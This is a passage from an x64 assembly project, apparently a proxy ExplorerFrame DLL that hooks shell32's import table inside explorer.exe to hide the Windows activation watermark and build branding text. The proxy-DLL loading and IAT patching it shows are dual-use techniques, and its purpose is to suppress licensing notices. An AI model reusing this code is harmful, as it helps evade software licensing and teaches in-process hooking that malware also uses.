    mov     rax, qword ptr [g_pfnDllGetCO]
    test    rax, rax
    jz      @dgco_fail

    ; Restore params and tail-call real DllGetClassObject
    mov     rcx, rbx
    mov     rdx, r12
    mov     r8,  r13
    add     rsp, 20h
    pop     r13
    pop     r12
    pop     rbx
    jmp     rax                         ; tail call → real DllGetClassObject

@dgco_fail:
    mov     eax, E_FAIL
    add     rsp, 20h
    pop     r13
    pop     r12
    pop     rbx
    ret
DllGetClassObject endp

; ==============================================================================
; DllCanUnloadNow - COM in-process server unload check
;
; No parameters.
; Returns HRESULT: S_OK (0) = can unload, S_FALSE (1) = cannot.
;
; On success: tail-calls real DllCanUnloadNow.
;
; Non-volatile saved: rbx
; 1 push (odd) → rsp%16=0; sub 20h → rsp%16=0 ✓
; ==============================================================================
PUBLIC DllCanUnloadNow
DllCanUnloadNow proc
    push    rbx
    sub     rsp, 20h

    call    EnsureRealModule
    test    eax, eax
    jz      @dcun_fail

    mov     rax, qword ptr [g_pfnDllCanUN]
    test    rax, rax
    jz      @dcun_fail

    ; Tail-call real DllCanUnloadNow (no params to restore)
    add     rsp, 20h
    pop     rbx
    jmp     rax

@dcun_fail:
    mov     eax, 1              ; S_FALSE = cannot unload (safe default)
    add     rsp, 20h
    pop     rbx
    ret
DllCanUnloadNow endp

end

<<<FILE: kvc_ef/x64/globals.inc>>>
Created:  2026-05-20 12:37:37
Modified: 2026-05-19 01:14:10
Size:     0.86 KB
; ==============================================================================
; ExplorerFrame DLL - External Global Declarations
; Include in every module that references shared state.
; ==============================================================================

; Array of BRANDING_PATTERN_COUNT QWORD pointers to heap-allocated WCHAR buffers.
;   [0] = BrandingLoadString result (winbrand.dll)  - size 128 WCHARs
;   [1] = LoadStringW #33088 (shell32.dll)          - size  64 WCHARs
;   [2] = LoadStringW #33089 (shell32.dll)          - size  64 WCHARs
;   [3] = LoadStringW #33108 (shell32.dll)          - size 128 WCHARs
;   [4] = LoadStringW #33109 (shell32.dll)          - size 128 WCHARs
;   [5] = LoadStringW #33111 (shell32.dll)          - size 167 WCHARs
;   [6] = LoadStringW #33117 (shell32.dll)          - size 128 WCHARs
EXTRN g_brandingPatterns        :QWORD

<<<FILE: kvc_ef/x64/intercept.asm>>>
Created:  2026-05-20 12:37:37
Modified: 2026-05-26 00:29:09
Size:     15.72 KB
; ==============================================================================
; ExplorerFrame DLL - Intercepted WinAPI Functions
;
; Author: Marek Wesołowski (wesmar)
; Purpose: Replacement functions for LoadStringW and ExtTextOutW in
;          shell32.dll's IAT. LoadStringW suppresses activation watermark
;          resource IDs 62000/62001. ExtTextOutW suppresses text rendering
;          when the string matches any loaded branding pattern.
; ==============================================================================

option casemap:none

include consts.inc
include globals.inc

EXTRN LoadStringW           :PROC
EXTRN ExtTextOutW           :PROC
EXTRN DrawTextW             :PROC
EXTRN LoadLibraryW          :PROC
EXTRN GetProcAddress        :PROC
EXTRN wcslen_p              :PROC
EXTRN wcscpy_p              :PROC
EXTRN WideStrFind           :PROC

; ==============================================================================
; CONSTANTS / STATE
; ==============================================================================
.const
str_uxtheme_w   dw 'u','x','t','h','e','m','e','.','d','l','l',0

.data
    align 8
g_pfnDrawTextWithGlow dq 0

; ==============================================================================
; CODE
; ==============================================================================
.code

; ==============================================================================
; ContainsBrandingWatermark - Check if text matches any watermark pattern
;
; RCX = text (LPCWSTR)
; Returns EAX = 1 if watermark found, 0 otherwise
;
; For patterns[0..2, 4..6]: straight substring search.
; For patterns[3]: %xxx%middle%suffix format - extract the segment between
;   the first and second '%' characters starting at offset 4, search for it.
;
; Non-volatile: rbx, rsi, rdi, r12, r13, r14, r15
; Entry rsp%16=8; 7 pushes → 0 mod16; sub 20h → 0 mod16 ✓
; ==============================================================================
PUBLIC ContainsBrandingWatermark
ContainsBrandingWatermark proc
    push    rbx
    push    rsi
    push    rdi
    push    r12
    push    r13
    push    r14
    push    r15
    sub     rsp, 20h

    ; reject NULL or empty
    test    rcx, rcx
    jz      @cbw_false
    cmp     word ptr [rcx], 0
    je      @cbw_false

    mov     r12, rcx                        ; r12 = text

    ; textLen = wcslen_p(text)
    call    wcslen_p
    test    rax, rax
    jz      @cbw_false
    mov     r13d, eax                       ; r13d = textLen

    lea     r14, g_brandingPatterns         ; r14 = &pattern table
    xor     r15d, r15d                      ; r15d = pattern index

@cbw_loop:
    cmp     r15d, BRANDING_PATTERN_COUNT
    jge     @cbw_false

    mov     rsi, [r14 + r15*8]             ; rsi = pattern ptr
    test    rsi, rsi
    jz      @cbw_next                       ; NULL slot
    cmp     word ptr [rsi], 0
    je      @cbw_next                       ; empty string

    ; patternLen = wcslen_p(pattern)
    mov     rcx, rsi
    call    wcslen_p
    mov     edi, eax                        ; edi = patternLen

    ; --- Special case: pattern[3] — locale-safe fixed segment extraction ---
    ; EN: "%ws Build %ws"  → extract " Build " (between specs)
    ; CN: "内部版本 %ws"   → extract "内部版本 " (before first %)
    ; XX: "%ws 版本 %ws"   → extract " 版本 " (between specs)
    ; Strategy: find first '%' anywhere; if text precedes it use that,
    ; else skip the format spec ("%ws" = 3 chars) and extract until next '%'.
    cmp     r15d, 3
    jne     @cbw_plain

    cmp     edi, 2
    jle     @cbw_next                       ; pattern too short for any fixed text

    ; Scan for first '%' at any position
    xor     ecx, ecx
@cbw_fp_scan:
    cmp     ecx, edi
    jge     @cbw_plain                      ; no '%' found → fall back to plain search
    movzx   eax, word ptr [rsi + rcx*2]
    cmp     eax, WILDCARD_MARKER
    je      @cbw_fp_found
    inc     ecx
    jmp     @cbw_fp_scan

@cbw_fp_found:
    ; ecx = index of first '%'
    test    ecx, ecx
    jz      @cbw_skip_spec                  ; starts with '%' → skip format spec

    ; Fixed text BEFORE first '%': pattern[0..ecx-1], length = ecx
    mov     ebx, ecx                        ; save length before rcx clobbered
    mov     rcx, r12
    mov     edx, r13d
    mov     r8, rsi                         ; needle = pattern[0]
    mov     r9d, ebx
    call    WideStrFind
    test    eax, eax
    jz      @cbw_true
    jmp     @cbw_next

@cbw_skip_spec:
    ; Skip "%ws" (3 chars) to land after the format specifier
    add     ecx, 3
    cmp     ecx, edi
    jge     @cbw_next                       ; nothing after spec

    ; Scan from ecx until next '%' or end → fixed segment between specs
    mov     ebx, ecx                        ; ebx = segment start index
@cbw_seg_scan:
    cmp     ecx, edi
    jge     @cbw_got_seg
    movzx   eax, word ptr [rsi + rcx*2]
    cmp     eax, WILDCARD_MARKER
    je      @cbw_got_seg
    inc     ecx
    jmp     @cbw_seg_scan

@cbw_got_seg:
    ; segment: pattern[ebx..ecx-1], length = ecx - ebx
    mov     eax, ecx
    sub     eax, ebx
    test    eax, eax
    jz      @cbw_next                       ; empty segment (e.g. "%ws%ws") → skip

    mov     r9d, eax
    mov     rcx, r12
    mov     edx, r13d
    lea     r8, [rsi + rbx*2]              ; &pattern[segStart]
    call    WideStrFind
    test    eax, eax
    jz      @cbw_true
    jmp     @cbw_next

@cbw_plain:
    ; WideStrFind(text, textLen, pattern, patternLen)
    mov     rcx, r12
    mov     edx, r13d
    mov     r8, rsi
    mov     r9d, edi
    call    WideStrFind
    test    eax, eax
    jz      @cbw_true

@cbw_next:
    inc     r15d
    jmp     @cbw_loop

@cbw_true:
    mov     eax, 1
    add     rsp, 20h
    pop     r15
    pop     r14
    pop     r13
    pop     r12
    pop     rdi
    pop     rsi
    pop     rbx
    ret

@cbw_false:
    xor     eax, eax
    add     rsp, 20h
    pop     r15
    pop     r14
    pop     r13
    pop     r12
    pop     rdi
    pop     rsi
    pop     rbx
    ret
ContainsBrandingWatermark endp

; ==============================================================================
; InterceptedLoadStringW - Hook for LoadStringW in shell32.dll's IAT
;
; Blocks resource IDs 62000 and 62001 (activation watermarks).
; All other IDs are forwarded to the real LoadStringW in our own IAT.
;
; RCX = hInstance, EDX = uID, R8 = lpBuffer, R9D = nBufferMax
; Returns EAX = INT (character count, or 0 if blocked/failed)
; ==============================================================================
PUBLIC InterceptedLoadStringW
InterceptedLoadStringW proc
    push    rbx
    push    r12
    push    r13
    push    r14
    push    r15
    sub     rsp, 20h

    mov     r12d, edx                       ; r12d = resource ID
    mov     r13, r8                         ; r13 = output buffer

    ; Block the two watermark resource IDs
    cmp     edx, BLOCKED_RESOURCE_ID_1
    je      @ils_block
    cmp     edx, BLOCKED_RESOURCE_ID_2
    je      @ils_block

    ; Forward to the real LoadStringW (resolved via our DLL's own IAT).
    call    LoadStringW
    mov     ebx, eax                        ; preserve return count
    test    eax, eax
    jle     @ils_return
    test    r13, r13
    jz      @ils_return

    ; shell32 may resolve localized resources differently at runtime than during
    ; DllMain. Learn the actual strings that shell32 just loaded and use them as
    ; live watermark patterns.
    lea     r14, g_brandingPatterns

    cmp     r12d, SHELL32_ID_0
    je      @ils_slot1
    cmp     r12d, SHELL32_ID_1
    je      @ils_slot2
    cmp     r12d, SHELL32_ID_2
    je      @ils_slot3
    cmp     r12d, SHELL32_ID_3
    je      @ils_slot4
    cmp     r12d, SHELL32_ID_4
    je      @ils_slot5
    cmp     r12d, SHELL32_ID_5
    je      @ils_slot6
    cmp     r12d, SHELL32_ID_6
    je      @ils_slot7
    cmp     r12d, SHELL32_ID_7
    je      @ils_slot8
    cmp     r12d, SHELL32_ID_8
    je      @ils_slot9
    cmp     r12d, SHELL32_ID_9
    je      @ils_slot10
    cmp     r12d, SHELL32_ID_10
    je      @ils_slot11
    cmp     r12d, SHELL32_ID_11
    je      @ils_slot12
    cmp     r12d, SHELL32_ID_12
    je      @ils_slot13
    jmp     @ils_return

@ils_slot1:
    mov     r15d, 1
    jmp     @ils_update
@ils_slot2:
    mov     r15d, 2
    jmp     @ils_update
@ils_slot3:
    mov     r15d, 3
    jmp     @ils_update
@ils_slot4:
    mov     r15d, 4
    jmp     @ils_update
@ils_slot5:
    mov     r15d, 5
    jmp     @ils_update
@ils_slot6:
    mov     r15d, 6
    jmp     @ils_update
@ils_slot7:
    mov     r15d, 7
    jmp     @ils_update
@ils_slot8:
    mov     r15d, 8
    jmp     @ils_update
@ils_slot9:
    mov     r15d, 9
    jmp     @ils_update
@ils_slot10:
    mov     r15d, 10
    jmp     @ils_update
@ils_slot11:
    mov     r15d, 11
    jmp     @ils_update
@ils_slot12:
    mov     r15d, 12
    jmp     @ils_update
@ils_slot13:
    mov     r15d, 13

@ils_update:
    mov     rcx, [r14 + r15*8]             ; destination pattern buffer
    test    rcx, rcx
    jz      @ils_return
    mov     rdx, r13                        ; source: LoadStringW output buffer
    call    wcscpy_p
    jmp     @ils_return

@ils_block:
    xor     eax, eax
    add     rsp, 20h
    pop     r15
    pop     r14
    pop     r13
    pop     r12
    pop     rbx
    ret

@ils_return:
    mov     eax, ebx
    add     rsp, 20h
    pop     r15
    pop     r14
    pop     r13
    pop     r12
    pop     rbx
    ret
InterceptedLoadStringW endp

; ==============================================================================
; InterceptedExtTextOutW - Hook for ExtTextOutW in shell32.dll's IAT
;
; Suppresses text rendering when the string matches a branding watermark.
;
; x64 calling convention - 8 parameters total:
;   RCX  = hdc
;   EDX  = x
;   R8D  = y
;   R9D  = options
;   [RSP+28h] = lprc   (const RECT*)
;   [RSP+30h] = lpString (LPCWSTR)
;   [RSP+38h] = c      (UINT) - character count
;   [RSP+40h] = lpDx   (const INT*)
;
; Returns EAX = BOOL
; ==============================================================================
PUBLIC InterceptedExtTextOutW
InterceptedExtTextOutW proc
    push    rbx
    push    r12
    push    r13
    push    r14
    push    r15
    sub     rsp, 20h            ; 5 pushes: entry rsp%16=8 → after pushes: 0, sub 20h: 0 ✓

    ; Save volatile register arguments across ContainsBrandingWatermark.
    mov     r12, rcx
    mov     r13, rdx
    mov     r14, r8
    mov     r15, r9

    ; Fetch lpString from stack (above our saved frame)
    ; Original stack layout when called:
    ;   [original_rsp+28h] = lprc
    ;   [original_rsp+30h] = lpString
    ; After 5 pushes + sub 20h: rsp = original_rsp - 48h
    ;   lpString now at [rsp+78h]
    mov     rbx, [rsp+78h]                  ; rbx = lpString

    test    rbx, rbx
    jz      @iet_forward                    ; NULL → forward (draw nothing)

    ; ContainsBrandingWatermark(lpString) → suppresses if match
    mov     rcx, rbx
    call    ContainsBrandingWatermark
    test    eax, eax
    jnz     @iet_suppress

@iet_forward:
    mov     rcx, r12
    mov     rdx, r13
    mov     r8,  r14
    mov     r9,  r15
    add     rsp, 20h
    pop     r15
    pop     r14
    pop     r13
    pop     r12
    pop     rbx
    ; Tail-call the real ExtTextOutW with original register and stack args.
    jmp     ExtTextOutW

@iet_suppress:
    mov     eax, 1                          ; return TRUE (pretend success)
    add     rsp, 20h
    pop     r15
    pop     r14
    pop     r13
    pop     r12
    pop     rbx
    ret
InterceptedExtTextOutW endp

; ==============================================================================
; InterceptedDrawTextW - Hook for DrawTextW in shell32.dll's IAT
;
; Some newer shell32 builds route desktop branding text through USER32 DrawTextW
; instead of calling GDI ExtTextOutW directly. Suppress the same strings here.
;
; RCX = hdc
; RDX = lpchText
; R8D = cchText
; R9  = lprc
; [RSP+28h] = format
;
; Returns EAX = INT
; ==============================================================================
PUBLIC InterceptedDrawTextW
InterceptedDrawTextW proc
    push    rbx
    push    r12
    push    r13
    push    r14
    push    r15
    sub     rsp, 20h

    mov     r12, rcx
    mov     r13, rdx
    mov     r14, r8
    mov     r15, r9

    test    r13, r13
    jz      @idt_forward

    mov     rcx, r13
    call    ContainsBrandingWatermark
    test    eax, eax
    jnz     @idt_suppress

@idt_forward:
    mov     rcx, r12
    mov     rdx, r13
    mov     r8,  r14
    mov     r9,  r15
    add     rsp, 20h
    pop     r15
    pop     r14
    pop     r13
    pop     r12
    pop     rbx
    jmp     DrawTextW

@idt_suppress:
    xor     eax, eax
    add     rsp, 20h
    pop     r15
    pop     r14
    pop     r13
    pop     r12
    pop     rbx
    ret
InterceptedDrawTextW endp

; ==============================================================================
; InterceptedBrandingLoadStringForEdition - Hook for BrandingLoadStringForEdition
;
; Shell32!CDesktopWatermark::s_DesktopBuildPaint calls this for the Basebrd
; branding line. Returning 0 makes shell32 clear that line before it measures
; and paints the desktop watermark strings.
;
; RCX = brandingName (LPCWSTR)
; EDX = id
; R8D = languageId
; R9  = outputBuffer (LPWSTR)
; [rsp+20h] = bufferMax
; [rsp+28h] = flags
; Returns: EAX = 0 (empty string)
;
; Leaf function - no calls, no sub rsp needed.
; ==============================================================================
PUBLIC InterceptedBrandingLoadStringForEdition
InterceptedBrandingLoadStringForEdition proc
    test    r9, r9
    jz      @iblsfe_ret
    mov     word ptr [r9], 0        ; L'\0' → empty string in output buffer
@iblsfe_ret:
    xor     eax, eax
    ret
InterceptedBrandingLoadStringForEdition endp

; ==============================================================================
; InterceptedDrawTextWithGlow - Hook for UxTheme!DrawTextWithGlow (ordinal 126)
;
; Shell32!CDesktopWatermark::s_DesktopBuildPaint uses this to render watermark
; strings with a glow effect. Suppress only strings matching our watermark
; patterns; forward all other text to the real UxTheme ordinal 126 export.
;
; Signature (x64):
;   RCX = HDC
;   RDX = pszText (LPCWSTR)
;   R8  = cchText (int)
;   R9  = prc (RECT*)
;   [rsp+20h] = dwFlags
;   [rsp+28h] = crText
;   [rsp+30h] = crGlow
;   [rsp+38h] = nGlowRadius
;   [rsp+40h] = nGlowIntensity
;   [rsp+48h] = bPreMultiply
;   [rsp+50h] = pfnCallback
;   [rsp+58h] = lParam
; Returns: HRESULT S_OK = 0
;
; ==============================================================================
PUBLIC InterceptedDrawTextWithGlow
InterceptedDrawTextWithGlow proc
    push    rbx
    push    r12
    push    r13
    push    r14
    push    r15
    sub     rsp, 20h

    mov     r12, rcx
    mov     r13, rdx
    mov     r14, r8
    mov     r15, r9

    test    r13, r13
    jz      @dtwg_forward

    mov     rcx, r13
    call    ContainsBrandingWatermark
    test    eax, eax
    jnz     @dtwg_suppress

@dtwg_forward:
    mov     rbx, [g_pfnDrawTextWithGlow]
    test    rbx, rbx
    jnz     @dtwg_have_pfn

    lea     rcx, str_uxtheme_w
    call    LoadLibraryW
    test    rax, rax
    jz      @dtwg_suppress

    mov     rcx, rax
    mov     edx, 126                    ; MAKEINTRESOURCEA(126)
    call    GetProcAddress
    test    rax, rax
    jz      @dtwg_suppress
    mov     [g_pfnDrawTextWithGlow], rax
    mov     rbx, rax

@dtwg_have_pfn:
    mov     r11, rbx
    mov     rcx, r12
    mov     rdx, r13
    mov     r8,  r14
    mov     r9,  r15
    add     rsp, 20h
    pop     r15
    pop     r14
    pop     r13
    pop     r12
    pop     rbx
    jmp     r11

@dtwg_suppress:
    xor     eax, eax                    ; S_OK — pretend text was drawn
    add     rsp, 20h
    pop     r15
    pop     r14
    pop     r13
    pop     r12
    pop     rbx
    ret
InterceptedDrawTextWithGlow endp

end

<<<FILE: kvc_ef/x64/main.asm>>>
Created:  2026-05-20 12:37:37
Modified: 2026-05-19 01:30:38
Size:     2.86 KB
; ==============================================================================
; ExplorerFrame DLL - Entry Point and Global Pattern Table
;
; Author: Marek Wesołowski (wesmar)
; Purpose: DllMain coordinates initialization on first process attach:
;          allocates branding pattern buffers, loads strings, patches IAT.
;          g_brandingPatterns holds the 7 QWORD pointers used by intercept.asm.
; ==============================================================================

option casemap:none

include consts.inc
; globals.inc not included here - this module IS the definition of g_brandingPatterns

EXTRN DisableThreadLibraryCalls         :PROC
EXTRN GetModuleHandleW                  :PROC
EXTRN InitializeBrandingPatterns        :PROC
EXTRN PatchShell32Imports               :PROC

; ==============================================================================
; INITIALIZED DATA
; ==============================================================================
.data
    align 8

; Seven QWORD pointers - NULL until InitializeBrandingPatterns fills them.
PUBLIC g_brandingPatterns
g_brandingPatterns  dq BRANDING_PATTERN_COUNT dup(0)

; ==============================================================================
; CONSTANT STRINGS
; ==============================================================================
.const

str_shell32     dw 's','h','e','l','l','3','2','.','d','l','l',0

; ==============================================================================
; CODE
; ==============================================================================
.code

; ==============================================================================
; DllMain - DLL Entry Point
;
; RCX = hModule
; EDX = ul_reason_for_call
; R8  = lpReserved
;
; Returns EAX = TRUE (1) always.
; ==============================================================================
PUBLIC DllMain
DllMain proc frame
    push    rbx
    .pushreg rbx
    sub     rsp, 20h        ; 1 push (odd) → rsp%16=0; sub 20h (32%16=0) → rsp%16=0 ✓
    .allocstack 20h
    .endprolog

    mov     rbx, rcx                        ; save hModule
    cmp     edx, DLL_PROCESS_ATTACH
    jne     @dm_done

    ; Suppress DLL_THREAD_ATTACH / DETACH notifications
    mov     rcx, rbx
    sub     rsp, 20h
    call    DisableThreadLibraryCalls
    add     rsp, 20h

    ; Locate shell32.dll (already loaded in explorer.exe)
    lea     rcx, str_shell32
    sub     rsp, 20h
    call    GetModuleHandleW
    add     rsp, 20h
    test    rax, rax
    jz      @dm_done

    ; Allocate buffers and fill branding patterns
    mov     rcx, rax
    sub     rsp, 20h
    call    InitializeBrandingPatterns
    add     rsp, 20h

    ; Hook LoadStringW and ExtTextOutW in shell32.dll's IAT
    sub     rsp, 20h
    call    PatchShell32Imports
    add     rsp, 20h

@dm_done:
    mov     eax, 1
    add     rsp, 20h
    pop     rbx
    ret
DllMain endp

end

<<<FILE: kvc_ef/x64/patch.asm>>>
Created:  2026-05-20 12:37:37
Modified: 2026-05-19 23:51:27
Size:     23.9 KB
; ==============================================================================
; ExplorerFrame DLL - Import Address Table Patching
;
; Author: Marek Wesołowski (wesmar)
; Purpose: Locates and replaces function pointers in shell32.dll's IAT.
;          Redirects LoadStringW and ExtTextOutW to our interceptors so
;          watermark text is suppressed before it reaches the screen.
;
; Public routines:
;   PatchShell32Imports     - entry point; patches both functions
;   ReplaceImportedFunction - generic IAT slot replacement
;
; Private helpers:
;   GetImportDescriptor     - walk PE headers to find a named import DLL
;   LocateFunctionInThunk   - scan FirstThunk for a specific function address
; ==============================================================================

option casemap:none

include consts.inc

EXTRN GetModuleHandleW          :PROC
EXTRN GetProcAddress            :PROC
EXTRN VirtualProtect            :PROC
EXTRN lstrcmpiA                 :PROC

EXTRN InterceptedLoadStringW                :PROC
EXTRN InterceptedExtTextOutW               :PROC
EXTRN InterceptedDrawTextW                 :PROC
EXTRN InterceptedBrandingLoadStringForEdition :PROC
EXTRN InterceptedDrawTextWithGlow            :PROC

; ==============================================================================
; CONSTANT STRINGS
; ==============================================================================
.const

str_shell32_a   db 'shell32.dll',0
str_gdi32_a     db 'gdi32.dll',0
str_user32_a    db 'user32.dll',0
str_winbrand_a  db 'winbrand.dll',0
str_uxtheme_a   db 'UxTheme.dll',0
str_loader20    db 'api-ms-win-core-libraryloader-l1-2-0.dll',0
str_loader11    db 'api-ms-win-core-libraryloader-l1-1-1.dll',0
str_ExtTextOutW                   db 'ExtTextOutW',0
str_DrawTextW                     db 'DrawTextW',0
str_LoadStringW                   db 'LoadStringW',0
str_BrandingLoadStringForEdition  db 'BrandingLoadStringForEdition',0

str_loader20_w  dw 'a','p','i','-','m','s','-','w','i','n','-','c','o','r','e','-'
                dw 'l','i','b','r','a','r','y','l','o','a','d','e','r','-','l','1','-'
                dw '2','-','0','.','d','l','l',0
str_loader11_w  dw 'a','p','i','-','m','s','-','w','i','n','-','c','o','r','e','-'
                dw 'l','i','b','r','a','r','y','l','o','a','d','e','r','-','l','1','-'
                dw '1','-','1','.','d','l','l',0
str_shell32_w   dw 's','h','e','l','l','3','2','.','d','l','l',0
str_gdi32_w     dw 'g','d','i','3','2','.','d','l','l',0
str_user32_w    dw 'u','s','e','r','3','2','.','d','l','l',0
str_winbrand_w  dw 'w','i','n','b','r','a','n','d','.','d','l','l',0

; ==============================================================================
; CODE
; ==============================================================================
.code

; ==============================================================================
; GetImportDescriptor - Find named DLL in a module's import directory
;
; RCX = module base (HMODULE)
; RDX = DLL name to find (LPCSTR, ASCII, case-insensitive)
;
; Returns RAX = pointer to IMAGE_IMPORT_DESCRIPTOR, or NULL
;
; Stack: 3 pushes → rsp%16=0; sub 20h → rsp%16=0 ✓
; ==============================================================================
GetImportDescriptor proc
    push    rbx
    push    rsi
    push    rdi
    sub     rsp, 20h

    test    rcx, rcx
    jz      @gid_null
    test    rdx, rdx
    jz      @gid_null

    mov     rbx, rcx            ; rbx = moduleBase
    mov     rsi, rdx            ; rsi = target module name

    ; NT headers = base + base[60]  (e_lfanew)
    mov     eax, dword ptr [rbx + IMDOS_e_lfanew]
    add     rax, rbx            ; rax = IMAGE_NT_HEADERS64*

    ; Import directory RVA is at fixed offset 144 within NT headers
    mov     ecx, dword ptr [rax + IMNT_ImportDirectory_VA]
    test    ecx, ecx
    jz      @gid_null

    lea     rdi, [rbx + rcx]    ; rdi = first IMAGE_IMPORT_DESCRIPTOR

@gid_walk:
    cmp     dword ptr [rdi + IMID_Name], 0
    je      @gid_null           ; end-of-table sentinel

    ; name = base + descriptor.Name  (ASCII string)
    mov     ecx, dword ptr [rdi + IMID_Name]
    lea     rcx, [rbx + rcx]
    mov     rdx, rsi
    call    lstrcmpiA
    test    eax, eax
    jz      @gid_found

    add     rdi, IMID_SIZE
    jmp     @gid_walk

@gid_found:
    mov     rax, rdi
    add     rsp, 20h
    pop     rdi
    pop     rsi
    pop     rbx
    ret

@gid_null:
    xor     rax, rax
    add     rsp, 20h
    pop     rdi
    pop     rsi
    pop     rbx
    ret
GetImportDescriptor endp

; ==============================================================================
; LocateFunctionInThunk - Scan IAT for a given function address
;
; RCX = moduleBase (QWORD)
; RDX = IMAGE_IMPORT_DESCRIPTOR* (importDesc)
; R8  = target function address (FARPROC)
;
; Returns RAX = address of the matching QWORD slot in IAT, or NULL
;
; Pure computation - no calls, only saves RBX/RSI.
; 2 pushes → rsp%16=8; no sub needed (leaf, no further calls).
; ==============================================================================
LocateFunctionInThunk proc
    push    rbx
    push    rsi

    ; thunkPtr = moduleBase + importDesc.FirstThunk
    mov     eax, dword ptr [rdx + IMID_FirstThunk]
    lea     rbx, [rcx + rax]   ; rbx = &IAT[0]
    mov     rsi, r8             ; rsi = targetFunction

@lft_walk:
    mov     rax, qword ptr [rbx]
    test    rax, rax
    jz      @lft_null           ; end of thunk array

    cmp     rax, rsi
    je      @lft_found

    add     rbx, 8
    jmp     @lft_walk

@lft_found:
    mov     rax, rbx
    pop     rsi
    pop     rbx
    ret

@lft_null:
    xor     rax, rax
    pop     rsi
    pop     rbx
    ret
LocateFunctionInThunk endp

; ==============================================================================
; ReplaceImportedFunction - Patch one IAT slot with a replacement function
;
; RCX = targetModule (HMODULE)         - module whose IAT we patch
; RDX = importModuleName (LPCSTR)      - ASCII name of the imported DLL
; R8  = originalFunction (FARPROC)     - current IAT value to find
; R9  = replacementFunction (FARPROC)  - new value to write
;
; Returns EAX = 1 (patched), 0 (failed)
;
; Locals (after 5 pushes + sub 30h):
;   [rsp+20h] = DWORD oldProtect
;
; Stack: 5 pushes → rsp%16=0; sub 30h → rsp%16=0 ✓
; ==============================================================================
PUBLIC ReplaceImportedFunction
ReplaceImportedFunction proc
    push    rbx
    push    r12
    push    r13
    push    r14
    push    r15
    sub     rsp, 30h            ; shadow(20h) + oldProtect(4)+pad(4) = 28h... use 30h

    test    rcx, rcx
    jz      @rif_false
    test    rdx, rdx
    jz      @rif_false
    test    r8, r8
    jz      @rif_false
    test    r9, r9
    jz      @rif_false

    mov     r12, rcx            ; r12 = targetModule (base)
    mov     r13, rdx            ; r13 = importModuleName
    mov     r14, r8             ; r14 = originalFunction
    mov     r15, r9             ; r15 = replacementFunction

    ; GetImportDescriptor(targetModule, importModuleName)
    mov     rcx, r12
    mov     rdx, r13
    call    GetImportDescriptor
    test    rax, rax
    jz      @rif_false

    mov     rbx, rax            ; rbx = importDescriptor

    ; LocateFunctionInThunk(moduleBase, importDesc, originalFunction)
    mov     rcx, r12
    mov     rdx, rbx
    mov     r8, r14
    call    LocateFunctionInThunk
    test    rax, rax
    jz      @rif_false

    mov     rbx, rax            ; rbx = address of IAT slot (QWORD*)

    ; VirtualProtect(slot, 8, PAGE_EXECUTE_READWRITE, &oldProtect)
    mov     rcx, rbx
    mov     edx, 8
    mov     r8d, PAGE_EXECUTE_READWRITE
    lea     r9, [rsp+20h]       ; &oldProtect local
    call    VirtualProtect
    test    eax, eax
    jz      @rif_false

    ; Overwrite the IAT slot
    mov     qword ptr [rbx], r15

    ; Restore protection - reuse oldProtect as both in and out param
    mov     rcx, rbx
    mov     edx, 8
    mov     r8d, dword ptr [rsp+20h]    ; oldProtect value
    lea     r9, [rsp+20h]               ; &dummy (discarded)
    call    VirtualProtect

    mov     eax, 1
    add     rsp, 30h
    pop     r15
    pop     r14
    pop     r13
    pop     r12
    pop     rbx
    ret

@rif_false:
    xor     eax, eax
    add     rsp, 30h
    pop     r15
    pop     r14
    pop     r13
    pop     r12
    pop     rbx
    ret
ReplaceImportedFunction endp

; ==============================================================================
; GetDelayImportDescriptor - Find named DLL in a module's delay-load import dir
;
; RCX = module base (HMODULE)
; RDX = DLL name to find (LPCSTR, ASCII, case-insensitive)
;
; Returns RAX = pointer to ImgDelayDescr, or NULL
;
; Stack: 3 pushes → rsp%16=0; sub 20h → rsp%16=0 ✓
; ==============================================================================
GetDelayImportDescriptor proc
    push    rbx
    push    rsi
    push    rdi
    sub     rsp, 20h

    test    rcx, rcx
    jz      @gdid_null
    test    rdx, rdx
    jz      @gdid_null

    mov     rbx, rcx            ; rbx = moduleBase
    mov     rsi, rdx            ; rsi = target DLL name

    ; NT headers = base + base[60]
    mov     eax, dword ptr [rbx + IMDOS_e_lfanew]
    add     rax, rbx            ; rax = IMAGE_NT_HEADERS64*

    ; Delay import directory RVA at fixed offset 240 within NT headers
    mov     ecx, dword ptr [rax + IMNT_DelayImportDirectory_VA]
    test    ecx, ecx
    jz      @gdid_null

    lea     rdi, [rbx + rcx]    ; rdi = first ImgDelayDescr

@gdid_walk:
    cmp     dword ptr [rdi + IMDD_Name], 0
    je      @gdid_null          ; end-of-table sentinel

    mov     ecx, dword ptr [rdi + IMDD_Name]
    lea     rcx, [rbx + rcx]    ; DLL name string (RVA → VA)
    mov     rdx, rsi
    call    lstrcmpiA
    test    eax, eax
    jz      @gdid_found

    add     rdi, IMDD_SIZE
    jmp     @gdid_walk

@gdid_found:
    mov     rax, rdi
    add     rsp, 20h
    pop     rdi
    pop     rsi
    pop     rbx
    ret

@gdid_null:
    xor     rax, rax
    add     rsp, 20h
    pop     rdi
    pop     rsi
    pop     rbx
    ret
GetDelayImportDescriptor endp

; ==============================================================================
; LocateFunctionInDelayThunk - Scan delay-load IAT for a function address
;
; RCX = moduleBase (QWORD)
; RDX = ImgDelayDescr* (delayDesc)
; R8  = target function address (FARPROC)
;
; Returns RAX = address of matching QWORD slot, or NULL
;
; Pure computation - no calls. 2 pushes → rsp%16=8; leaf.
; ==============================================================================
LocateFunctionInDelayThunk proc
    push    rbx
    push    rsi

    ; thunkPtr = moduleBase + delayDesc.rvaIAT
    mov     eax, dword ptr [rdx + IMDD_IAT]
    lea     rbx, [rcx + rax]    ; rbx = &DelayIAT[0]
    mov     rsi, r8             ; rsi = targetFunction

@lfidt_walk:
    mov     rax, qword ptr [rbx]
    test    rax, rax
    jz      @lfidt_null

    cmp     rax, rsi
    je      @lfidt_found

    add     rbx, 8
    jmp     @lfidt_walk

@lfidt_found:
    mov     rax, rbx
    pop     rsi
    pop     rbx
    ret

@lfidt_null:
    xor     rax, rax
    pop     rsi
    pop     rbx
    ret
LocateFunctionInDelayThunk endp

; ==============================================================================
; ReplaceDelayImportedFunction - Patch one delay-load IAT slot
;
; Same signature as ReplaceImportedFunction but walks the delay import table.
;
; RCX = targetModule (HMODULE)
; RDX = importModuleName (LPCSTR, ASCII)
; R8  = originalFunction (FARPROC)
; R9  = replacementFunction (FARPROC)
;
; Returns EAX = 1 (patched), 0 (failed)
;
; Stack: 5 pushes → rsp%16=0; sub 30h → rsp%16=0 ✓
; [rsp+20h] = DWORD oldProtect
; ==============================================================================
PUBLIC ReplaceDelayImportedFunction
